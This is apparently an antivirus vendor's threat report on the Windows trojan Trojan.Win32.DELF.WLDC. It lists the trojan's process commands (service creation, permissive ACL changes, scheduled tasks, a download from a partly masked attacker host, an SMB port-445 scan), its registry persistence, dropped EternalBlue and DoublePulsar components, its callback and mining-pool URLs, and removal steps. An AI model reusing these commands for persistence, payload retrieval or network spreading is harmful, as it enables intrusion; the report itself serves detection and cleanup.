Trojan.Win32.DELF.WLDC

May 05, 2020
 ALIASES:

Trojan:Win32/Execution!rfn (Microsoft); RDN/Generic Downloader.x (McAfee); Mal/Emogen-E (Sophos); Win32.Malware!Drop (Sunbelt)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

181,154 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

05 May 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • %Windows%\Web\360.exe
  • %Windows%\Web\Microsoft.exe
  • %Windows%\Web\taskmgr.exe
  • %Windows%\Web\task.exe
  • sc create IPSAFE binpath= "%Fonts%\dwm.exe" Type= share Start= auto
  • sc config IPSAFE start= delayed-auto
  • %Fonts%\Sun\gos.bat
  • cmd.exe /c ping 127.0.0.1 -n 1 && del /f/q "%Windows%\web\Microsoft.exe"
  • "%System%\WScript.exe" "%Fonts%\Microsoft.NET\go.vbs"
  • %Fonts%\Microsoft.NET\go.vbs
  • %Windows%\SysWOW64\svchost.exe -k "SRDSL"
  • %Fonts%\Microsoft.NET\svchost.exe
  • %Fonts%\Sun\svchost.exe
  • "%System%\WScript.exe" "%Fonts%\Microsoft.NET.3.6\go.vbs"
  • %Fonts%\Microsoft.NET.3.6\go.vbs
  • %System%\SRDSL.exe "%User Temp%\25294677.dll",MainThread
  • "%Fonts%\Microsoft.NET\s.bat"
  • %Fonts%\Microsoft.NET\s.bat
  • %System%\cmd.exe /S /D /c" echo y"
  • cacls.exe "%Fonts%\Sun" /e /t /P everyone:F
  • %Fonts%\Sun\svchost.exe install "Microsoft.NET.4.0" "%Fonts%\Sun\wininit.exe"
  • sc create Microsoft.NET.4.0 binpath= "%Fonts%\Sun\wininit.exe" displayname= "Microsoft.NET.4.0" depend= Tcpip start= auto
  • %Fonts%\Sun\svchost.exe start "Microsoft.NET.4.0"
  • sc start "Microsoft.NET.4.0"
  • "%Fonts%\Microsoft.NET.3.6\go.bat"
  • %Fonts%\Microsoft.NET.3.6\go.bat
  • %System%\PING.EXE ping 127.0.0.1 -n 1
  • %System%\cmd.exe /S /D /c" ver"
  • findstr "5\.2\.[0-9][0-9]*"
  • findstr "6\.[0-9]\.[0-9][0-9]*"
  • %Fonts%\Microsoft.NET\svchost.exe stop "Microsoft.NET.3.5"
  • %Fonts%\Microsoft.NET\svchost.exe remove "Microsoft.NET.3.5" confirm
  • %Fonts%\Microsoft.NET\svchost.exe install "Microsoft.NET.3.5" "%Fonts%\Microsoft.NET\tcps.bat"
  • %Fonts%\Microsoft.NET\svchost.exe start "Microsoft.NET.3.5"
  • %System%\schtasks.exe /Create /TN "Microsoft.NET.3.5.0" /tr "%Fonts%\Microsoft.NET\tcps.bat" /sc daily /mo 1 /ru "system"
  • findstr "5\.[0-9]\.[0-9][0-9]*"
  • "%Fonts%\Microsoft.NET\tcps.bat"
  • taskkill /f /im schtasks.exe
  • %System%\PING.EXE %System%\ping 127.1 -n 30
  • %Fonts%\Microsoft.NET\www.exe -O %Fonts%\Microsoft.NET\temp.log "http://scan.{BLOCKED}i008.com:88/2020/local.asp"
  • %System%\cmd.exe /c route print|findstr 0.0.0.0.*0.0.0.0
  • %Fonts%\Microsoft.NET\taskhost.exe tcp 1 ...1 1 ...254 445 300 /save
  • %System%\ROUTE.EXE route print
  • findstr 0.0.0.0.*0.0.0.0

It creates the following folders:

  • %Fonts%\Microsoft.NET.3.6
  • %Fonts%\Sun
  • %Fonts%\Microsoft.NET

(Note: %Fonts% is the Windows Fonts folder, which is usually C:\Window\Fonts on Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Autostart Technique

This Trojan registers itself as a system service to ensure its automatic execution at every system startup by adding the following registry entries:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\IPSAFE
ImagePath = "%Fonts%\dwm.exe"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\SRDSL
ImagePath = "%SystemRoot%\System32\svchost.exe -k SRDSL"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\IPSAFE
ImagePath = "%Fonts%\dwm.exe"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Microsoft.NET.4.0
ImagePath = "%Fonts%\Sun\svchost.exe"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Microsoft.NET.3.5
ImagePath = "%Fonts%\Microsoft.NET\svchost.exe"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Microsoft.NET.4.0
ImagePath = "%Fonts%\Sun\wininit.exe"

Other System Modifications

This Trojan deletes the following files:

  • %Windows%\Tasks\Microsoft.NET.3.5.0.job
  • %Windows%\Web\Microsoft.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
WinInit = "%Fonts%\Mi\WinInit.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
ctfmon = "%Fonts%\dwm.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
usa = "%Fonts%\usa\go.vbs"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\SRDSL
Description = "{random characters}"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\SRDSL\Parameters
ServiceDll = "%User Temp%\25294677.dll"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows NT\CurrentVersion\
Svchost
SRDSL = "L\xef\xbe\xbd7\x02\xef\xbf\x84"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\SRDSL
Group = "sql20200402"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\SRDSL
InstallTime = "2020-01-02 04:33"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\SRDSL
Type = "16"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\IPSAFE
Type = "32"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\IPSAFE
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\IPSAFE
ErrorControl = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\IPSAFE
WOW64 = "1"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\IPSAFE
ObjectName = "LocalSystem"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\IPSAFE
DelayedAutostart = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
Type = "16"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
ErrorControl = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
ImagePath = "%Fonts%\Sun\svchost.exe"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
DisplayName = "Microsoft.NET.4.0"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
WOW64 = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
ObjectName = "LocalSystem"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
DelayedAutostart = "0"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0
FailureActionsOnNonCrashFailures = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
Type = "16"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
Start = "2"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
ErrorControl = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
ImagePath = "%Fonts%\Microsoft.NET\svchost.exe"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
DisplayName = "Microsoft.NET.3.5"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
WOW64 = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
ObjectName = "LocalSystem"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
DelayedAutostart = "0"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5
FailureActionsOnNonCrashFailures = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5\Parameters
Application = "%Fonts%\Microsoft.NET\tcps.bat"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5\Parameters
AppParameters = ""

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5\Parameters
AppDirectory = "%Fonts%\Microsoft.NET"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5\Parameters\
AppExit
(Default) = "Restart"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\eventlog\Application\
NSSM
EventMessageFile = "%Fonts%\Microsoft.NET\svchost.exe"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\eventlog\Application\
NSSM
TypesSupported = "7"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\SRDSL
DisplayName = "System Remote Data Simulation Layer"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\SRDSL
Start = "SERVICE_AUTO_START"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\IPSAFE
DisplayName = ""

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\IPSAFE
Start = "SERVICE_AUTO_START"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Microsoft.NET.4.0
DisplayName = "Microsoft.NET.4.0"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Microsoft.NET.4.0
Start = "SERVICE_AUTO_START"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Microsoft.NET.3.5
DisplayName = "Microsoft.NET.3.5"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Microsoft.NET.3.5
Start = "SERVICE_AUTO_START"

It deletes the following registry keys:

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0\DependOnService

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.4.0\DependOnGroup

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5\DependOnService

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\Microsoft.NET.3.5\DependOnGroup

Dropping Routine

This Trojan drops the following files:

  • %Fonts%\Microsoft.NET.3.6\wget.exe
  • %Fonts%\Microsoft.NET.3.6\smss.exe
  • %Fonts%\Microsoft.NET\ssleay32.dll
  • %Fonts%\Microsoft.NET\svchost.exe
  • %Fonts%\Microsoft.NET\Eternalblue.dll
  • %Fonts%\Microsoft.NET\load.bat
  • %Fonts%\Microsoft.NET\xdvl-0.dll
  • %Fonts%\Microsoft.NET\tucl-1.dll
  • %Fonts%\Microsoft.NET\go.vbs
  • %Fonts%\Microsoft.NET\taskhost.exe
  • %Fonts%\Microsoft.NET\Doublepulsar.dll
  • %Fonts%\Microsoft.NET.3.6\pkill.exe
  • %Fonts%\Microsoft.NET.3.6\user.txt
  • %Fonts%\Sun\gos.bat
  • %Fonts%\Microsoft.NET\libxml2.dll
  • %Fonts%\Microsoft.NET\www.exe
  • %Fonts%\Microsoft.NET\ping.bat
  • %Fonts%\Microsoft.NET\puls.exe
  • %Fonts%\Microsoft.NET\puls.xml
  • %Fonts%\Microsoft.NET\crli-0.dll
  • %Fonts%\Microsoft.NET.3.6\vers.exe
  • %User Temp%\25294677.dll
  • %Fonts%\Microsoft.NET\exma-1.dll
  • %Fonts%\Microsoft.NET\mance.exe
  • %Fonts%\Microsoft.NET.3.6\jia.bat
  • %Fonts%\Microsoft.NET.3.6\2018.sql
  • %Fonts%\Microsoft.NET\tcps.bat
  • %Fonts%\Sun\svchost.exe
  • %Fonts%\Microsoft.NET\tich-1.dll
  • %System%\SRDSL.exe
  • %Fonts%\Microsoft.NET.3.6\king2.bat
  • %Fonts%\Microsoft.NET\cnli-1.dll
  • %Fonts%\Microsoft.NET\Result.txt
  • %Fonts%\Microsoft.NET.3.6\svchost.exe
  • %Fonts%\Microsoft.NET\loab.bat
  • %Fonts%\Sun\gos.vbs
  • %Fonts%\Microsoft.NET.3.6\go.bat
  • %Fonts%\Microsoft.NET\s.bat
  • %Fonts%\Microsoft.NET.3.6\go.vbs
  • %Fonts%\Microsoft.NET\pkill.exe
  • %Fonts%\Microsoft.NET\syns.bat
  • %Fonts%\Microsoft.NET\trfo-2.dll
  • %Fonts%\Microsoft.NET\ucl.dll
  • %Fonts%\Microsoft.NET\tibe-2.dll
  • %Fonts%\Sun\config.json
  • %Fonts%\Microsoft.NET\zlib1.dll
  • %Fonts%\Microsoft.NET\dmgd-4.dll
  • %Fonts%\Microsoft.NET\tufo-2.dll
  • %Fonts%\Microsoft.NET\coli-0.dll
  • %Fonts%\Microsoft.NET.3.6\dwm.exe
  • %Fonts%\Microsoft.NET.3.6\pass.txt
  • %Fonts%\Microsoft.NET\trch-1.dll
  • %Fonts%\dwm.exe
  • %Fonts%\Microsoft.NET\temp.log
  • %Fonts%\Microsoft.NET\Eter.xml
  • %Fonts%\Microsoft.NET\mance.xml
  • %Fonts%\Microsoft.NET\xps.bat
  • %Fonts%\Microsoft.NET\libeay32.dll
  • %Fonts%\Sun\wininit.exe
  • %Fonts%\Microsoft.NET\Eter.exe
  • %Fonts%\Microsoft.NET\posh-0.dll
  • %Fonts%\Microsoft.NET.3.6\king.bat

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://go.{BLOCKED}i008.com:88/2020/1.rar
  • http://go.{BLOCKED}i008.com:88/2020/2.rar
  • http://go.{BLOCKED}i008.com:88/2020/3.rar
  • http://go.{BLOCKED}i008.com:88/2020/ren.rar
  • http://go.{BLOCKED}i008.com:88/2020/4.rar
  • http://scan.{BLOCKED}i008.com:88/2020/local.asp
  • http://fwq.{BLOCKED}i008.com
  • http://xmr-eu1.{BLOCKED}ol.org
  • {BLOCKED}.99
  • {BLOCKED}.98
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This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine:

9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as Trojan.Win32.DELF.WLDC

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • WinInit = "%Fonts%\Mi\WinInit.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • ctfmon = "%Fonts%\dwm.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • usa = "%Fonts%\usa\go.vbs"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SRDSL
    • Description = "{random characters}"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SRDSL\Parameters
    • ServiceDll = "%User Temp%\25294677.dll"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Svchost
    • SRDSL = "L\xef\xbe\xbd7\x02\xef\xbf\x84"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SRDSL
    • Group = "sql20200402"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SRDSL
    • InstallTime = "2020-01-02 04:33"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SRDSL
    • Type = "16"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IPSAFE
    • Type = "32"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IPSAFE
    • Start = "2"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IPSAFE
    • ErrorControl = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IPSAFE
    • WOW64 = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IPSAFE
    • ObjectName = "LocalSystem"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\IPSAFE
    • DelayedAutostart = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • Type = "16"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • Start = "2"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • ErrorControl = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • ImagePath = "%Fonts%\Sun\svchost.exe"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • DisplayName = "Microsoft.NET.4.0"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • WOW64 = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • ObjectName = "LocalSystem"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • DelayedAutostart = "0"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • FailureActionsOnNonCrashFailures = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • Type = "16"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • Start = "2"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • ErrorControl = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • ImagePath = "%Fonts%\Microsoft.NET\svchost.exe"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • DisplayName = "Microsoft.NET.3.5"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • WOW64 = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • ObjectName = "LocalSystem"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • DelayedAutostart = "0"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • FailureActionsOnNonCrashFailures = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5\Parameters
    • Application = "%Fonts%\Microsoft.NET\tcps.bat"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5\Parameters
    • AppParameters = ""
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5\Parameters
    • AppDirectory = "%Fonts%\Microsoft.NET"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5\Parameters\AppExit
    • (Default) = "Restart"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\eventlog\Application\NSSM
    • EventMessageFile = "%Fonts%\Microsoft.NET\svchost.exe"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\eventlog\Application\NSSM
    • TypesSupported = "7"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SRDSL
    • DisplayName = "System Remote Data Simulation Layer"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SRDSL
    • Start = "SERVICE_AUTO_START"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPSAFE
    • DisplayName = ""
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPSAFE
    • Start = "SERVICE_AUTO_START"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Microsoft.NET.4.0
    • DisplayName = "Microsoft.NET.4.0"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Microsoft.NET.4.0
    • Start = "SERVICE_AUTO_START"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Microsoft.NET.3.5
    • DisplayName = "Microsoft.NET.3.5"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Microsoft.NET.3.5
    • Start = "SERVICE_AUTO_START"

Step 4

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %Fonts%\Microsoft.NET.3.6\wget.exe
  • %Fonts%\Microsoft.NET.3.6\smss.exe
  • %Fonts%\Microsoft.NET\ssleay32.dll
  • %Fonts%\Microsoft.NET\svchost.exe
  • %Fonts%\Microsoft.NET\Eternalblue.dll
  • %Fonts%\Microsoft.NET\load.bat
  • %Fonts%\Microsoft.NET\xdvl-0.dll
  • %Fonts%\Microsoft.NET\tucl-1.dll
  • %Fonts%\Microsoft.NET\go.vbs
  • %Fonts%\Microsoft.NET\taskhost.exe
  • %Fonts%\Microsoft.NET\Doublepulsar.dll
  • %Fonts%\Microsoft.NET.3.6\pkill.exe
  • %Fonts%\Microsoft.NET.3.6\user.txt
  • %Fonts%\Sun\gos.bat
  • %Fonts%\Microsoft.NET\libxml2.dll
  • %Fonts%\Microsoft.NET\www.exe
  • %Fonts%\Microsoft.NET\ping.bat
  • %Fonts%\Microsoft.NET\puls.exe
  • %Fonts%\Microsoft.NET\puls.xml
  • %Fonts%\Microsoft.NET\crli-0.dll
  • %Fonts%\Microsoft.NET.3.6\vers.exe
  • %User Temp%\25294677.dll
  • %Fonts%\Microsoft.NET\exma-1.dll
  • %Fonts%\Microsoft.NET\mance.exe
  • %Fonts%\Microsoft.NET.3.6\jia.bat
  • %Fonts%\Microsoft.NET.3.6\2018.sql
  • %Fonts%\Microsoft.NET\tcps.bat
  • %Fonts%\Sun\svchost.exe
  • %Fonts%\Microsoft.NET\tich-1.dll
  • %System%\SRDSL.exe
  • %Fonts%\Microsoft.NET.3.6\king2.bat
  • %Fonts%\Microsoft.NET\cnli-1.dll
  • %Fonts%\Microsoft.NET\Result.txt
  • %Fonts%\Microsoft.NET.3.6\svchost.exe
  • %Fonts%\Microsoft.NET\loab.bat
  • %Fonts%\Sun\gos.vbs
  • %Fonts%\Microsoft.NET.3.6\go.bat
  • %Fonts%\Microsoft.NET\s.bat
  • %Fonts%\Microsoft.NET.3.6\go.vbs
  • %Fonts%\Microsoft.NET\pkill.exe
  • %Fonts%\Microsoft.NET\syns.bat
  • %Fonts%\Microsoft.NET\trfo-2.dll
  • %Fonts%\Microsoft.NET\ucl.dll
  • %Fonts%\Microsoft.NET\tibe-2.dll
  • %Fonts%\Sun\config.json
  • %Fonts%\Microsoft.NET\zlib1.dll
  • %Fonts%\Microsoft.NET\dmgd-4.dll
  • %Fonts%\Microsoft.NET\tufo-2.dll
  • %Fonts%\Microsoft.NET\coli-0.dll
  • %Fonts%\Microsoft.NET.3.6\dwm.exe
  • %Fonts%\Microsoft.NET.3.6\pass.txt
  • %Fonts%\Microsoft.NET\trch-1.dll
  • %Fonts%\dwm.exe
  • %Fonts%\Microsoft.NET\temp.log
  • %Fonts%\Microsoft.NET\Eter.xml
  • %Fonts%\Microsoft.NET\mance.xml
  • %Fonts%\Microsoft.NET\xps.bat
  • %Fonts%\Microsoft.NET\libeay32.dll
  • %Fonts%\Sun\wininit.exe
  • %Fonts%\Microsoft.NET\Eter.exe
  • %Fonts%\Microsoft.NET\posh-0.dll
  • %Fonts%\Microsoft.NET.3.6\king.bat

Step 5

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Fonts%\Microsoft.NET.3.6
  • %Fonts%\Sun
  • %Fonts%\Microsoft.NET

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.DELF.WLDC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 7

Restore this file from backup only Microsoft-related files will be restored. If this malware/grayware also deleted files related to programs that are not from Microsoft, please reinstall those programs on you computer again.

  • %Windows%\Tasks\Microsoft.NET.3.5.0.job
  • %Windows%\Web\Microsoft.exe

Step 8

Restore these deleted registry keys/values from backup

*Note: Only Microsoft-related keys/values will be restored. If the malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • DependOnService
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.4.0
    • DependOnGroup
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • DependOnService
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Microsoft.NET.3.5
    • DependOnGroup


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